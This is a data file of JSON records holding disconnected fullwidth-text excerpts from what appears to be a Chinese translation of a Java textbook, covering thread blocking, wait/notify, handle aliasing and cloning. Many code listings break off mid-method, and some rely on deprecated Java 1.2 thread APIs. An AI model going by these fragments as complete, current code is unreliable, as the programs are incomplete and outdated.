    {"text": "首先让我们看看基本的框架： ／／： Ｂｌｏｃｋｉｎｇ．ｊａｖａ ／／ Ｄｅｍｏｎｓｔｒａｔｅｓ ｔｈｅ ｖａｒｉｏｕｓ ｗａｙｓ ａ ｔｈｒｅａｄ ／／ ｃａｎ ｂｅ ｂｌｏｃｋｅｄ． ５１０ ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．ｅｖｅｎｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ａｐｐｌｅｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ｉｏ．＊； ／／／／／／／／／／／／ Ｔｈｅ ｂａｓｉｃ ｆｒａｍｅｗｏｒｋ ／／／／／／／／／／／ ｃｌａｓｓ Ｂｌｏｃｋａｂｌｅ ｅｘｔｅｎｄｓ Ｔｈｒｅａｄ ｛ ｐｒｉｖａｔｅ Ｐｅｅｋｅｒ ｐｅｅｋｅｒ； ｐｒｏｔｅｃｔｅｄ ＴｅｘｔＦｉｅｌｄ ｓｔａｔｅ ＝ ｎｅｗ ＴｅｘｔＦｉｅｌｄ（４０）； ｐｒｏｔｅｃｔｅｄ ｉｎｔ ｉ； ｐｕｂｌｉｃ Ｂｌｏｃｋａｂｌｅ（Ｃｏｎｔａｉｎｅｒ ｃ） ｛ ｃ．ａｄｄ（ｓｔａｔｅ）； ｐｅｅｋｅｒ ＝ ｎｅｗ Ｐｅｅｋｅｒ（ｔｈｉｓ， ｃ）； ｝ ｐｕｂｌｉｃ ｓｙｎｃｈｒｏｎｉｚｅｄ ｉｎｔ ｒｅａｄ（） ｛ ｒｅｔｕｒｎ ｉ； ｝ ｐｒｏｔｅｃｔｅｄ ｓｙｎｃｈｒｏｎｉｚｅｄ ｖｏｉｄ ｕｐｄａｔｅ（） ｛ ｓｔａｔｅ．ｓｅｔＴｅｘｔ（ｇｅｔＣｌａｓｓ（）．ｇｅｔＮａｍｅ（） ＋ ＂ ｓｔａｔｅ： ｉ ＝ ＂ ＋ ｉ）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｓｔｏｐＰｅｅｋｅｒ（） ｛ ／／ ｐｅｅｋｅｒ．ｓｔｏｐ（）； Ｄｅｐｒｅｃａｔｅｄ ｉｎ Ｊａｖａ １．２ ｐｅｅｋｅｒ．ｔｅｒｍｉｎａｔｅ（）； ／／ Ｔｈｅ ｐｒｅｆｅｒｒｅｄ ａｐｐｒｏａｃｈ ｝ ｝ ｃｌａｓｓ Ｐｅｅｋｅｒ ｅｘｔｅｎｄｓ Ｔｈｒｅａｄ ｛ ｐｒｉｖａｔｅ Ｂｌｏｃｋａｂｌｅ ｂ； ｐｒｉｖａｔｅ ｉｎｔ ｓｅｓｓｉｏｎ； ｐｒｉｖａｔｅ ＴｅｘｔＦｉｅｌｄ ｓｔａｔｕｓ ＝ ｎｅｗ ＴｅｘｔＦｉｅｌｄ（４０）； ｐｒｉｖａｔｅ ｂｏｏｌｅａｎ ｓｔｏｐ ＝ ｆａｌｓｅ； ｐｕｂｌｉｃ Ｐｅｅｋｅｒ（Ｂｌｏｃｋａｂｌｅ ｂ， Ｃｏｎｔａｉｎｅｒ ｃ） ｛ ｃ．ａｄｄ（ｓｔａｔｕｓ）； ｔｈｉｓ．ｂ ＝ ｂ； ｓｔａｒｔ（）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｔｅｒｍｉｎａｔｅ（） ｛ ｓｔｏｐ ＝ ｔｒｕｅ； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｒｕｎ（） ｛ ｗｈｉｌｅ （！ ｓｔｏｐ） ｛ ｓｔａｔｕｓ．ｓｅｔＴｅｘｔ（ｂ．ｇｅｔＣｌａｓｓ（）．ｇｅｔＮａｍｅ（） ＋ ＂ Ｐｅｅｋｅｒ ＂ ＋ （＋＋ｓｅｓｓｉｏｎ） ＋ ＂； ｖａｌｕｅ ＝ ＂ ＋ ｂ．ｒｅａｄ（））； ｔｒｙ ｛ ｓｌｅｅｐ（１００）；"},
    {"text": "｝ ｃａｔｃｈ （ＩｎｔｅｒｒｕｐｔｅｄＥｘｃｅｐｔｉｏｎ ｅ）｛｝ ｝ ｝ ｝ ／／／：Ｃｏｎｔｉｎｕｅｄ Ｂｌｏｃｋａｂｌｅ 类打算成为本例所有类的一个基础类。"},
    {"text": "Ｐｅｅｋｅｒ 的任务是调用 ｒｅａｄ（）方法，检查与自己 关联的 Ｂｌｏｃｋａｂｌｅ 对象，看看 ｉ 是否发生了变化，最后用它的 ｓｔａｔｕｓ 文本字段报告检查结果。"},
    {"text": "１． 睡眠 这个程序的第一项测试是用 ｓｌｅｅｐ（）作出的： ／／／：Ｃｏｎｔｉｎｕｉｎｇ ／／／／／／／／／／／／／ Ｂｌｏｃｋｉｎｇ ｖｉａ ｓｌｅｅｐ（） ／／／／／／／／／／／ ｃｌａｓｓ Ｓｌｅｅｐｅｒ１ ｅｘｔｅｎｄｓ Ｂｌｏｃｋａｂｌｅ ｛ ｐｕｂｌｉｃ Ｓｌｅｅｐｅｒ１（Ｃｏｎｔａｉｎｅｒ ｃ） ｛ ｓｕｐｅｒ（ｃ）；"},
    {"text": "｝ ｐｕｂｌｉｃ ｓｙｎｃｈｒｏｎｉｚｅｄ ｖｏｉｄ ｒｕｎ（） ｛ ｗｈｉｌｅ（ｔｒｕｅ） ｛ ｉ＋＋； ｕｐｄａｔｅ（）； ｔｒｙ ｛ ｓｌｅｅｐ（１０００）； ｝ ｃａｔｃｈ （ＩｎｔｅｒｒｕｐｔｅｄＥｘｃｅｐｔｉｏｎ ｅ）｛｝ ｝ ｝ ｝ ｃｌａｓｓ Ｓｌｅｅｐｅｒ２ ｅｘｔｅｎｄｓ Ｂｌｏｃｋａｂｌｅ ｛ ｐｕｂｌｉｃ Ｓｌｅｅｐｅｒ２（Ｃｏｎｔａｉｎｅｒ ｃ） ｛ ｓｕｐｅｒ（ｃ）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｒｕｎ（） ｛ ｗｈｉｌｅ（ｔｒｕｅ） ｛ ｃｈａｎｇｅ（）； ｔｒｙ ｛ ｓｌｅｅｐ（１０００）； ｝ ｃａｔｃｈ （ＩｎｔｅｒｒｕｐｔｅｄＥｘｃｅｐｔｉｏｎ ｅ）｛｝ ｝ ｝ ｐｕｂｌｉｃ ｓｙｎｃｈｒｏｎｉｚｅｄ ｖｏｉｄ ｃｈａｎｇｅ（） ｛ ｉ＋＋； ｕｐｄａｔｅ（）； ｝ ｝ ／／／：Ｃｏｎｔｉｎｕｅｄ 在 Ｓｌｅｅｐｅｒ１ 中，整个 ｒｕｎ（）方法都是同步的。"},
    {"text": "这正是“堵塞”的一种形式：因为 Ｓｌｅｅｐｅｒ１．ｒｕｎ（）是 同步的，而且一旦线程启动，它就肯定在 ｒｕｎ（）内部，方法永远不会放弃对象锁定，造成 Ｐｅｅｋｅｒ 线程的堵 塞。"},
    {"text": "只有 ｃｈａｎｇｅ（） 方法才是同步的，所以尽管 ｒｕｎ（）位 于 ｓｌｅｅｐ（）内部，Ｐｅｅｋｅｒ 仍然能访问自己需要的同步方法——ｒｅａｄ（）。"},
    {"text": "Ｔｈｒｅａｄ 类提供了一个名为 ｓｕｓｐｅｎｄ（）的方法，可临时中止线程； 以及一个名为 ｒｅｓｕｍｅ（） 的方法，用于从暂停处开始恢复线程的执行。 显然，我们可以推断出 ｒｅｓｕｍｅ（）是由暂停线程外部的某个线程调用的。"},
    {"text": "如下所示： ５１２ ／／／：Ｃｏｎｔｉｎｕｉｎｇ ／／／／／／／／／／／ Ｂｌｏｃｋｉｎｇ ｖｉａ ｓｕｓｐｅｎｄ（） ／／／／／／／／／／／ ｃｌａｓｓ ＳｕｓｐｅｎｄＲｅｓｕｍｅ ｅｘｔｅｎｄｓ Ｂｌｏｃｋａｂｌｅ ｛ ｐｕｂｌｉｃ ＳｕｓｐｅｎｄＲｅｓｕｍｅ（Ｃｏｎｔａｉｎｅｒ ｃ） ｛ ｓｕｐｅｒ（ｃ）；"},
    {"text": "ｎｅｗ Ｒｅｓｕｍｅｒ（ｔｈｉｓ）； ｝ ｝ ｃｌａｓｓ ＳｕｓｐｅｎｄＲｅｓｕｍｅ１ ｅｘｔｅｎｄｓ ＳｕｓｐｅｎｄＲｅｓｕｍｅ ｛ ｐｕｂｌｉｃ ＳｕｓｐｅｎｄＲｅｓｕｍｅ１（Ｃｏｎｔａｉｎｅｒ ｃ） ｛ ｓｕｐｅｒ（ｃ）； ｝ ｐｕｂｌｉｃ ｓｙｎｃｈｒｏｎｉｚｅｄ ｖｏｉｄ ｒｕｎ（） ｛ ｗｈｉｌｅ（ｔｒｕｅ） ｛ ｉ＋＋； ｕｐｄａｔｅ（）； ｓｕｓｐｅｎｄ（）； ／／ Ｄｅｐｒｅｃａｔｅｄ ｉｎ Ｊａｖａ １．２ ｝ ｝ ｝ ｃｌａｓｓ ＳｕｓｐｅｎｄＲｅｓｕｍｅ２ ｅｘｔｅｎｄｓ ＳｕｓｐｅｎｄＲｅｓｕｍｅ ｛ ｐｕｂｌｉｃ ＳｕｓｐｅｎｄＲｅｓｕｍｅ２（Ｃｏｎｔａｉｎｅｒ ｃ） ｛ ｓｕｐｅｒ（ｃ）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｒｕｎ（） ｛ ｗｈｉｌｅ（ｔｒｕｅ） ｛ ｃｈａｎｇｅ（）； ｓｕｓｐｅｎｄ（）； ／／ Ｄｅｐｒｅｃａｔｅｄ ｉｎ Ｊａｖａ １．２ ｝ ｝ ｐｕｂｌｉｃ ｓｙｎｃｈｒｏｎｉｚｅｄ ｖｏｉｄ ｃｈａｎｇｅ（） ｛ ｉ＋＋； ｕｐｄａｔｅ（）； ｝ ｝ ｃｌａｓｓ Ｒｅｓｕｍｅｒ ｅｘｔｅｎｄｓ Ｔｈｒｅａｄ ｛ ｐｒｉｖａｔｅ ＳｕｓｐｅｎｄＲｅｓｕｍｅ ｓｒ； ｐｕｂｌｉｃ Ｒｅｓｕｍｅｒ（ＳｕｓｐｅｎｄＲｅｓｕｍｅ ｓｒ） ｛ ｔｈｉｓ．ｓｒ ＝ ｓｒ； ｓｔａｒｔ（）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｒｕｎ（） ｛ ｗｈｉｌｅ（ｔｒｕｅ） ｛ ｔｒｙ ｛ ｓｌｅｅｐ（１０００）； ｝ ｃａｔｃｈ （ＩｎｔｅｒｒｕｐｔｅｄＥｘｃｅｐｔｉｏｎ ｅ）｛｝ ｓｒ．ｒｅｓｕｍｅ（）； ／／ Ｄｅｐｒｅｃａｔｅｄ ｉｎ Ｊａｖａ １．２ ｝ ｝ ｝ ／／／：Ｃｏｎｔｉｎｕｅｄ ＳｕｓｐｅｎｄＲｅｓｕｍｅ１ 也提供了一个同步的 ｒｕｎ（）方法。"},
    {"text": "和往常一样，这个问题在 ＳｕｓｐｅｎｄＲｅｓｕｍｅ２ 里得到了解决，它并不同步整个 ｒｕｎ（）方法，而是采用了一个单独的同步 ｃｈａｎｇｅ（）方法。"},
    {"text": "对于 Ｊａｖａ １．２，大家应注意 ｓｕｓｐｅｎｄ（）和 ｒｅｓｕｍｅ（）已获得强烈反对，因为 ｓｕｓｐｅｎｄ（）包含了对象锁，所以极 易出现“死锁”现象。"},
    {"text": "ｗａｉｔ（）和 ｎｏｔｉｆｙ（）比较特别的一个地方是这两个方法都属于基础类 Ｏｂｊｅｃｔ 的一部分，不象 ｓｌｅｅｐ（）， ｓｕｓｐｅｎｄ（）以及 ｒｅｓｕｍｅ（）那样属于 Ｔｈｒｅａｄ 的一部分。"},
    {"text": "尽管这表面看有点儿奇怪——居然让专门进行线程处理 的东西成为通用基础类的一部分——但仔细想想又会释然，因为它们操纵的对象锁也属于每个对象的一部 分。"},
    {"text": "因此，我们可将一个 ｗａｉｔ（）置入任何同步方法内部，无论在那个类里是否准备进行涉及线程的处理。 事 实上，我们能调用 ｗａｉｔ（）的唯一地方是在一个同步的方法或代码块内部。"},
    {"text": "若在一个不同步的方法内调用 ｗａｉｔ（）或者 ｎｏｔｉｆｙ（），尽管程序仍然会编译，但在运行它的时候，就会得到一个 ＩｌｌｅｇａｌＭｏｎｉｔｏｒＳｔａｔｅＥｘｃｅｐｔｉｏｎ（非法监视器状态违例），而且会出现多少有点莫名其妙的一条消息： “ｃｕｒｒｅｎｔ ｔｈｒｅａｄ ｎｏｔ ｏｗｎｅｒ”（当前线程不是所有人”。"},
    {"text": "同样地，仍然可以编译那些试图使用错误锁定的代码，但和往常 一样会产生同样的 ＩｌｌｅｇａｌＭｏｎｉｔｏｒＳｔａｔｅＥｘｃｅｐｔｉｏｎ 违例。"},
    {"text": "所以一种做法是创建一个同步方法，令其为自己的 对象调用 ｎｏｔｉｆｙ（）。 但在 Ｎｏｔｉｆｉｅｒ 中，我们会看到一个同步方法内部的 ｎｏｔｉｆｙ（）： ｓｙｎｃｈｒｏｎｉｚｅｄ（ｗｎ２） ｛ ｗｎ２．ｎｏｔｉｆｙ（）；"},
    {"text": "／／／：Ｃｏｎｔｉｎｕｉｎｇ ／／／／／／／／／／／ Ｂｌｏｃｋｉｎｇ ｖｉａ ｗａｉｔ（） ／／／／／／／／／／／ ｃｌａｓｓ ＷａｉｔＮｏｔｉｆｙ１ ｅｘｔｅｎｄｓ Ｂｌｏｃｋａｂｌｅ ｛ ｐｕｂｌｉｃ ＷａｉｔＮｏｔｉｆｙ１（Ｃｏｎｔａｉｎｅｒ ｃ） ｛ ｓｕｐｅｒ（ｃ）； ｝ ｐｕｂｌｉｃ ｓｙｎｃｈｒｏｎｉｚｅｄ ｖｏｉｄ ｒｕｎ（） ｛ ｗｈｉｌｅ（ｔｒｕｅ） ｛ ｉ＋＋； ｕｐｄａｔｅ（）； ｔｒｙ ｛ ｗａｉｔ（１０００）； ｝ ｃａｔｃｈ （ＩｎｔｅｒｒｕｐｔｅｄＥｘｃｅｐｔｉｏｎ ｅ）｛｝ ｝ ５１４ ｝ ｝ ｃｌａｓｓ ＷａｉｔＮｏｔｉｆｙ２ ｅｘｔｅｎｄｓ Ｂｌｏｃｋａｂｌｅ ｛ ｐｕｂｌｉｃ ＷａｉｔＮｏｔｉｆｙ２（Ｃｏｎｔａｉｎｅｒ ｃ） ｛ ｓｕｐｅｒ（ｃ）； ｎｅｗ Ｎｏｔｉｆｉｅｒ（ｔｈｉｓ）；"},
    {"text": "ｓｔ．ｏｒｄｉｎａｒｙＣｈａｒ（＇ ＇）； ／／ Ｋｅｅｐ ｔｈｅ ｓｐａｃｅｓ ３４６ ｝ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｇｅｔＮｅｘｔ（） ｛ Ｓｔｒｉｎｇ ｓ ＝ ｎｕｌｌ； ｔｒｙ ｛ ｉｆ（ｓｔ．ｎｅｘｔＴｏｋｅｎ（） ！ ＝ ＳｔｒｅａｍＴｏｋｅｎｉｚｅｒ．ＴＴ＿ＥＯＦ） ｛ ｓｗｉｔｃｈ（ｓｔ．ｔｔｙｐｅ） ｛ ｃａｓｅ ＳｔｒｅａｍＴｏｋｅｎｉｚｅｒ．ＴＴ＿ＥＯＬ： ｓ ＝ ｎｕｌｌ； ｂｒｅａｋ； ｃａｓｅ ＳｔｒｅａｍＴｏｋｅｎｉｚｅｒ．ＴＴ＿ＮＵＭＢＥＲ： ｓ ＝ Ｄｏｕｂｌｅ．ｔｏＳｔｒｉｎｇ（ｓｔ．ｎｖａｌ）； ｂｒｅａｋ； ｃａｓｅ ＳｔｒｅａｍＴｏｋｅｎｉｚｅｒ．ＴＴ＿ＷＯＲＤ： ｓ ＝ ｎｅｗ Ｓｔｒｉｎｇ（ｓｔ．ｓｖａｌ）； ｂｒｅａｋ； ｄｅｆａｕｌｔ： ／／ ｓｉｎｇｌｅ ｃｈａｒａｃｔｅｒ ｉｎ ｔｔｙｐｅ ｓ ＝ Ｓｔｒｉｎｇ．ｖａｌｕｅＯｆ（（ｃｈａｒ）ｓｔ．ｔｔｙｐｅ）； ｝ ｝ ｝ ｃａｔｃｈ（ＩＯＥｘｃｅｐｔｉｏｎ ｅ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｅ）； ｝ ｒｅｔｕｒｎ ｓ； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ Ｓｔｒｉｎｇ ｓｔｒｉｐ（Ｓｔｒｉｎｇ ｑｕａｌｉｆｉｅｄ） ｛ ＳｔｒｉｐＱｕａｌｉｆｉｅｒｓ ｓｑ ＝ ｎｅｗ ＳｔｒｉｐＱｕａｌｉｆｉｅｒｓ（ｑｕａｌｉｆｉｅｄ）； Ｓｔｒｉｎｇ ｓ ＝ ＂＂， ｓｉ； ｗｈｉｌｅ（（ｓｉ ＝ ｓｑ．ｇｅｔＮｅｘｔ（）） ！ ＝ ｎｕｌｌ） ｛ ｉｎｔ ｌａｓｔＤｏｔ ＝ ｓｉ．ｌａｓｔＩｎｄｅｘＯｆ（＇．＇）； ｉｆ（ｌａｓｔＤｏｔ ！ ＝ －１） ｓｉ ＝ ｓｉ．ｓｕｂｓｔｒｉｎｇ（ｌａｓｔＤｏｔ ＋ １）； ｓ ＋＝ ｓｉ； ｝ ｒｅｔｕｒｎ ｓ；"},
    {"text": "｝ ｝ ／／／：￣ ＳｈｏｗＭｅｔｈｏｄｓＣｌｅａｎ 方法非常接近前一个 ＳｈｏｗＭｅｔｈｏｄｓ，只是它取得了 Ｍｅｔｈｏｄ 和 Ｃｏｎｓｔｒｕｃｔｏｒ 数组，并将它们 转换成单个 Ｓｔｒｉｎｇ 数组。"},
    {"text": "假如记不得一个类是否有一个特定的方法，而且不想在联机文档里逐步检查类结构，或者不知道那个类是否 能对某个对象（如 Ｃｏｌｏｒ 对象）做某件事情，该工具便可节省大量编程时间。"},
    {"text": "假定我们想清洁 管弦乐队中所有适当乐器的通气音栓（Ｓｐｉｔ Ｖａｌｖｅ），此时的一个办法是在基础类 Ｉｎｓｔｒｕｍｅｎｔ 中置入一个 ＣｌｅａｒＳｐｉｔＶａｌｖｅ（）方法。"},
    {"text": "一个简单的实验可以证明这一点（若执行这个程序 时有麻烦，请参考第 ３ 章 ３．１．２ 小节“赋值”）： ／／： ＰａｓｓＨａｎｄｌｅｓ．ｊａｖａ ／／ Ｐａｓｓｉｎｇ ｈａｎｄｌｅｓ ａｒｏｕｎｄ ｐａｃｋａｇｅ ｃ１２；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ ＰａｓｓＨａｎｄｌｅｓ ｛ ｓｔａｔｉｃ ｖｏｉｄ ｆ（ＰａｓｓＨａｎｄｌｅｓ ｈ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｈ ｉｎｓｉｄｅ ｆ（）： ＂ ＋ ｈ）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ＰａｓｓＨａｎｄｌｅｓ ｐ ＝ ｎｅｗ ＰａｓｓＨａｎｄｌｅｓ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｐ ｉｎｓｉｄｅ ｍａｉｎ（）： ＂ ＋ ｐ）； ｆ（ｐ）；"},
    {"text": "｝ ｝ ／／／：￣ ｔｏＳｔｒｉｎｇ 方法会在打印语句里自动调用，而 ＰａｓｓＨａｎｄｌｅｓ 直接从 Ｏｂｊｅｃｔ 继承，没有 ｔｏＳｔｒｉｎｇ 的重新定义。"},
    {"text": "因此，这里会采用 ｔｏＳｔｒｉｎｇ 的 Ｏｂｊｅｃｔ 版本，打印出对象的类，接着是那个对象所在的位置（不是句柄，而 是对象的实际存储位置）。"},
    {"text": "输出结果如下： ｐ ｉｎｓｉｄｅ ｍａｉｎ（）： ＰａｓｓＨａｎｄｌｅｓ＠１６５３７４８ ｈ ｉｎｓｉｄｅ ｆ（） ： ＰａｓｓＨａｎｄｌｅｓ＠１６５３７４８ 可以看到，无论 ｐ 还是 ｈ 引用的都是同一个对象。"},
    {"text": "１ ２ ． １ ． １ 别名问题 “别名”意味着多个句柄都试图指向同一个对象，就象前面的例子展示的那样。 若有人向那个对象里写入一 点什么东西，就会产生别名问题。"},
    {"text": "这可用下面 这个简单的例子说明： ／／： Ａｌｉａｓ１．ｊａｖａ ／／ Ａｌｉａｓｉｎｇ ｔｗｏ ｈａｎｄｌｅｓ ｔｏ ｏｎｅ ｏｂｊｅｃｔ ３４９ ｐｕｂｌｉｃ ｃｌａｓｓ Ａｌｉａｓ１ ｛ ｉｎｔ ｉ； Ａｌｉａｓ１（ｉｎｔ ｉｉ） ｛ ｉ ＝ ｉｉ； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ａｌｉａｓ１ ｘ ＝ ｎｅｗ Ａｌｉａｓ１（７）； Ａｌｉａｓ１ ｙ ＝ ｘ； ／／ Ａｓｓｉｇｎ ｔｈｅ ｈａｎｄｌｅ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｘ： ＂ ＋ ｘ．ｉ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｙ： ＂ ＋ ｙ．ｉ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｉｎｃｒｅｍｅｎｔｉｎｇ ｘ＂）； ｘ．ｉ＋＋； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｘ： ＂ ＋ ｘ．ｉ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｙ： ＂ ＋ ｙ．ｉ）； ｝ ｝ ／／／：￣ 对下面这行： Ａｌｉａｓ１ ｙ ＝ ｘ；"},
    {"text": "／／ Ａｓｓｉｇｎ ｔｈｅ ｈａｎｄｌｅ 它会新建一个 Ａｌｉａｓ１ 句柄，但不是把它分配给由 ｎｅｗ 创建的一个新鲜对象，而是分配给一个现有的句柄。"},
    {"text": "从最终的输出就可以看出： ｘ： ７ ｙ： ７ Ｉｎｃｒｅｍｅｎｔｉｎｇ ｘ ｘ： ８ ｙ： ８ 此时最直接的一个解决办法就是干脆不这样做：不要有意将多个句柄指向同一个作用域内的同一个对象。"},
    {"text": "然而，一旦准备将句柄作为一个自变量或参数传递——这是 Ｊａｖａ 设想的正常 方法——别名问题就会自动出现，因为创建的本地句柄可能修改“外部对象”（在方法作用域之外创建的对 象）。"},
    {"text": "下面是一个例子： ／／： Ａｌｉａｓ２．ｊａｖａ ／／ Ｍｅｔｈｏｄ ｃａｌｌｓ ｉｍｐｌｉｃｉｔｌｙ ａｌｉａｓ ｔｈｅｉｒ ／／ ａｒｇｕｍｅｎｔｓ． ｐｕｂｌｉｃ ｃｌａｓｓ Ａｌｉａｓ２ ｛ ｉｎｔ ｉ； Ａｌｉａｓ２（ｉｎｔ ｉｉ） ｛ ｉ ＝ ｉｉ； ｝ ｓｔａｔｉｃ ｖｏｉｄ ｆ（Ａｌｉａｓ２ ｈａｎｄｌｅ） ｛ ｈａｎｄｌｅ．ｉ＋＋； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ａｌｉａｓ２ ｘ ＝ ｎｅｗ Ａｌｉａｓ２（７）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｘ： ＂ ＋ ｘ．ｉ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｃａｌｌｉｎｇ ｆ（ｘ）＂）； ｆ（ｘ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｘ： ＂ ＋ ｘ．ｉ）；"},
    {"text": "通常，我们调用一个方法是为了产生返回值，或者用它改变为其调用方法的那个对象的状态（方法其实就是 我们向那个对象“发一条消息”的方式）。"},
    {"text": "此外： ■参数传递过程中会自动产生别名问题 ■不存在本地对象，只有本地句柄 ■句柄有自己的作用域，而对象没有 ■对象的“存在时间”在 Ｊａｖａ 里不是个问题 ■没有语言上的支持（如常量）可防止对象被修改（以避免别名的副作用） 若只是从对象中读取信息，而不修改它，传递句柄便是自变量传递中最有效的一种形式。"},
    {"text": "例如，标准库类 Ｖｅｃｔｏｒ 覆盖了 ｃｌｏｎｅ（），所以能为 Ｖｅｃｔｏｒ 调用 ｃｌｏｎｅ（），如下所示： ／／： Ｃｌｏｎｉｎｇ．ｊａｖａ ／／ Ｔｈｅ ｃｌｏｎｅ（） ｏｐｅｒａｔｉｏｎ ｗｏｒｋｓ ｆｏｒ ｏｎｌｙ ａ ｆｅｗ ／／ ｉｔｅｍｓ ｉｎ ｔｈｅ ｓｔａｎｄａｒｄ Ｊａｖａ ｌｉｂｒａｒｙ． ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊；"},
    {"text": "ｃｌａｓｓ Ｉｎｔ ｛ ｐｒｉｖａｔｅ ｉｎｔ ｉ； ｐｕｂｌｉｃ Ｉｎｔ（ｉｎｔ ｉｉ） ｛ ｉ ＝ ｉｉ； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｉｎｃｒｅｍｅｎｔ（） ｛ ｉ＋＋； ｝ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｔｏＳｔｒｉｎｇ（） ｛ ｒｅｔｕｒｎ Ｉｎｔｅｇｅｒ．ｔｏＳｔｒｉｎｇ（ｉ）； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ Ｃｌｏｎｉｎｇ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｖｅｃｔｏｒ ｖ ＝ ｎｅｗ Ｖｅｃｔｏｒ（）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ １０； ｉ＋＋ ） ｖ．ａｄｄＥｌｅｍｅｎｔ（ｎｅｗ Ｉｎｔ（ｉ））； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｖ： ＂ ＋ ｖ）； Ｖｅｃｔｏｒ ｖ２ ＝ （Ｖｅｃｔｏｒ）ｖ．ｃｌｏｎｅ（）； ／／ Ｉｎｃｒｅｍｅｎｔ ａｌｌ ｖ２＇ｓ ｅｌｅｍｅｎｔｓ： ｆｏｒ（Ｅｎｕｍｅｒａｔｉｏｎ ｅ ＝ ｖ２．ｅｌｅｍｅｎｔｓ（）； ｅ．ｈａｓＭｏｒｅＥｌｅｍｅｎｔｓ（）； ） （（Ｉｎｔ）ｅ．ｎｅｘｔＥｌｅｍｅｎｔ（））．ｉｎｃｒｅｍｅｎｔ（）； ／／ Ｓｅｅ ｉｆ ｉｔ ｃｈａｎｇｅｄ ｖ＇ｓ ｅｌｅｍｅｎｔｓ： Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｖ： ＂ ＋ ｖ）；"},
    {"text": "这个例子指出 Ｖｅｃｔｏｒ 的 ｃｌｏｎｅ（）方法 不能自动尝试克隆 Ｖｅｃｔｏｒ 内包含的每个对象——由于别名问题，老的 Ｖｅｃｔｏｒ 和克隆的 Ｖｅｃｔｏｒ 都包含了相同 的对象。"},
    {"text": "在输出中可看到浅层复制的结果，注意对 ｖ２ 采取的行动也会影响到 ｖ： ｖ： ［０， １， ２， ３， ４， ５， ６， ７， ８， ９］ ｖ： ［１， ２， ３， ４， ５， ６， ７， ８， ９， １０］ 一般来说，由于不敢保证 Ｖｅｃｔｏｒ 里包含的对象是“可以克隆”（注释②）的，所以最好不要试图克隆那些对 象。 ②：“可以克隆”用英语讲是 ｃｌｏｎｅａｂｌｅ，请留意 Ｊａｖａ 库中专门保留了这样的一个关键字。"},
    {"text": "１． 使用 ｐｒｏｔｅｃｔｅｄ 时的技巧 为避免我们创建的每个类都默认具有克隆能力，ｃｌｏｎｅ（）方法在基础类 Ｏｂｊｅｃｔ 里得到了“保留”（设为 ｐｒｏｔｅｃｔｅｄ）。"},
    {"text": "其次，我们不能利用指向基础类的一个句柄来调用 ｃｌｏｎｅ（）（尽管那样做在某些情况下特别有 用，比如用多形性的方式克隆一系列对象）。"},
    {"text": "那么在编译期，就有一条讨厌的错误消息弹出，告诉我们不可访问 ｃｌｏｎｅ（）——因为 Ｉｎｔｅｇｅｒ 并没有覆盖 它，而且它对 ｐｒｏｔｅｃｔｅｄ 版本来说是默认的）。"},
    {"text": "但是，假若我们是在一个从 Ｏｂｊｅｃｔ 衍生出来的类中（所有类都是从 Ｏｂｊｅｃｔ 衍生的），就有权调用 Ｏｂｊｅｃｔ．ｃｌｏｎｅ（），因为它是“ｐｒｏｔｅｃｔｅｄ”，而且我们在一个继承器中。"},
    {"text": "有时还想在更深层的衍生类中覆盖 ｃｌｏｎｅ（），否则就直接使用我们的 ｃｌｏｎｅ（）（现在已成为 ｐｕｂｌｉｃ），而那 并不一定是我们所希望的（然而，由于 Ｏｂｊｅｃｔ．ｃｌｏｎｅ（）已制作了实际对象的一个副本，所以也有可能允许这 种情况）。"},
    {"text": "ｉｎｔｅｒｆａｃｅ Ｃｌｏｎｅａｂｌｅ ｛｝ 之所以要实现这个空接口，显然不是因为我们准备上溯造型成一个 Ｃｌｏｎｅａｂｌｅ，以及调用它的某个方法。"},
